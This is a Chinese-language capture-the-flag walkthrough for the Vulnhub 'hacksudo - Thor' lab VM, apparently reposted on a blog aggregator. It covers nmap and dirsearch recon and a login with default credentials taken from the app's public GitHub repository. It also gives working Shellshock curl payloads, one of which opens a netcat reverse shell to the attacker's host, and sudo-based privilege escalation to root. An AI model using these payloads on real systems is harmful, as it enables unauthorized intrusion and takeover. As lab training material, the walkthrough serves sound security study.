当前位置:网站首页>vulnhub靶场-hacksudo - Thor
vulnhub靶场-hacksudo - Thor
2022-07-01 16:46:00 【KALC】
1、靶机信息
靶机名称:hacksudo - Thor
靶机难度:中等
虚拟机环境:此靶机推荐使用Virtualbox搭建
目标:取得root权限
靶机地址:https://download.vulnhub.com/hacksudo/hacksudo---Thor.zip
kali服务器IP | 192.168.2.172 |
靶机IP | 192.168.2.175 |
2、主机发现
2.1 使用nmap对靶机所在的网段进行主机发现,通过MAC地址得知,靶机地址为
192.168.2.175
nmap -sn 192.168.2.0/24

2.2 对靶机地址进行全端口扫描
nmap -p- 192.168.2.175

2.3 版本服务扫描
nmap -p 21,22,80 -sV 192.168.2.175

2.4 对80端口进行访问,发现一个登陆窗口

3、WEB目录爬取
3.1 直接进行目录扫描,尝试发现敏感信息
dirsearch -u http://192.168.2.175 -e *

3.2 对扫描出的目录进行查看,首先是发现一个markdown文件,在文件当中找到代码作者github地址
192.168.2.175/README.md

3.3 找到一个images目录,没有什么有用的信息

3.4 还找到另外一个登陆页面,但是目前还没有账密,先不管
http://192.168.2.175/index.php/login/

4、开源源码泄漏
4.1 尝试访问上面找到的源代码发布地址,看看是否有敏感信息暴露https://github.com/zakee94/

4.2 访问https://github.com/zakee94/online-banking-system
获取到账号为:admin,密码是:password123

4.3 尝试在80端口页面进行登录,提示无效认证

4.4 在代码文件中,我们发现有个admin_login.php的目录

4.5 尝试进行访问这个管理员目录,并拿上面的账密进行登录,发现可以成功登陆
http://192.168.2.175/admin_login.php

4.6 登录后可以进行账户管理等操作

5、破壳漏洞
5.1 查看news.php的源代码,在其中发现一个cgi-bin,在前面使用web目录发现时,同样也扫出cgi-bin目录,这个就需要我们注意,可能会存在一个破壳漏洞

5.2 使用dirsearch对/cgi-bin这个目录进行爬取,找cgi和sh结尾的目录,在这里我们找到了两个目录/cgi-bin/backup.cgi和/cgi-bin/shell.sh
dirsearch -u http://192.168.2.175/cgi-bin/ -f -e cgi,sh

5.3 使用nmap脚本进行破壳漏洞探测,发现backup.cgi存在破壳漏洞
nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/backup.cgi,cmd=ls 192.168.2.175

5.4 使用nmap脚本进行破壳漏洞探测,发现shell.sh也存在破壳漏洞
nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=ls 192.168.2.175

5.5 使用curl命令,在ua头中添加破壳漏洞的payload,可以看到成功回显
curl -H "user-agent: () { :; }; echo;echo;/bin/bash -c 'id'" \http://192.168.2.175/cgi-bin/backup.cgi

5.6 进一步去查看目标靶机是否存在nc命令,发现是存在的,意味着我们可以直接反弹shell
curl -H "user-agent: () { :; }; echo;echo;/bin/bash -c 'which nc'" \http://192.168.2.175/cgi-bin/backup.cgi

5.7 首先在kali监听端口,然后在kali上输入反弹shell的payload,利用破壳漏洞拿到shell
curl -H "user-agent: () { :; }; echo;echo;/bin/bash -c 'nc -e /bin/bash 192.168.2.172 9999'" \http://192.168.2.175/cgi-bin/backup.cgi

5.8 成功拿到shell,用户名称为www-data,下一步就是提权
nc -nvlp 9999

5.9 使用python升级为交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

6、GTFOBins提权
6.1 查看当前用户sudo权限,发现一个不需要密码就能以thor权限执行的脚本

6.2 使用thor的用户权限执行脚本,此脚本会首先要求我们输入thor的密钥,在这里我们输入任意值都可以,我们回车确认后,会接着要求我们输入秘密消息,在这里我们输入一个命令id,发现命令成功执行,提示我们用户是一个thor的用户
sudo -u thor /home/thor/./hammer.sh

6.3 使用脚本提权到thor用户,我们在秘密消息处(Secret massage),输入bash,成功提权到thor用户

6.4 查看thor用户的sudo权限,发现可以无需密码就能以root权限使用cat命令,以及使用root的权限运行service命令,在这里可以直接使用service提权到root。在某些命令配置错误、配置不当时,可以通过这个网站寻找提权的方法:GTFOBins
sudo service ../../bin/bash

边栏推荐
- [wrung Ba wrung Ba is 20] [essay] why should I learn this in college?
- Transition technology from IPv4 to IPv6
- 《中国智慧环保产业发展监测与投资前景研究报告(2022版)》
- The difference between the lazy mode of singleton mode and the evil mode
- Alibaba cloud, Zhuoyi technology beach grabbing dialogue AI
- Shenyu gateway development: enable and run locally
- sql刷题586. 订单最多的客户
- How wild are hackers' ways of making money? CTF reverse entry Guide
- Redis 分布式锁
- ACM MM 2022视频理解挑战赛视频分类赛道冠军AutoX团队技术分享
猜你喜欢

How to use F1 to F12 correctly on laptop keyboard

Exclusive news: Alibaba cloud quietly launched RPA cloud computer and has opened cooperation with many RPA manufacturers

Computed property “xxx“ was assigned to but it has no setter.

SQL question brushing 584 Looking for user references

ACM MM 2022视频理解挑战赛视频分类赛道冠军AutoX团队技术分享

ShenYu 网关开发:在本地启用运行

Yyds dry inventory MySQL RC transaction isolation level implementation

换掉UUID,NanoID更快更安全!

The amazing open source animation library is not only awesome, but also small
![[live broadcast appointment] database obcp certification comprehensive upgrade open class](/img/50/83a533f4e8a60f90e03b991385c08d.jpg)
[live broadcast appointment] database obcp certification comprehensive upgrade open class
随机推荐
sql刷题586. 订单最多的客户
Redis 分布式鎖
unity3d扩展工具栏
Determine whether the linked list is a palindrome linked list
【splishsplash】关于如何在GUI和json上接收/显示用户参数、MVC模式和GenParam
The amazing open source animation library is not only awesome, but also small
中国乙腈市场预测与战略咨询研究报告(2022版)
[Supplément linguistique c] déterminer quel jour est demain (date de demain)
字节跳动数据平台技术揭秘:基于 ClickHouse 的复杂查询实现与优化
SystemVerilog structure (II)
P2592 [zjoi2008] birthday party (DP)
剑指 Offer II 105. 岛屿的最大面积
如何写出好代码 — 防御式编程指南
ACL 2022 | 分解的元学习小样本命名实体识别
Exclusive news: Alibaba cloud quietly launched RPA cloud computer and has opened cooperation with many RPA manufacturers
How to solve the problem that the battery icon of notebook computer does not display
Machine learning 11 clustering, outlier discrimination
荣威 RX5 的「多一点」产品策略
China benzene hydrogenation Market Research and investment forecast report (2022 Edition)
How to use F1 to F12 correctly on laptop keyboard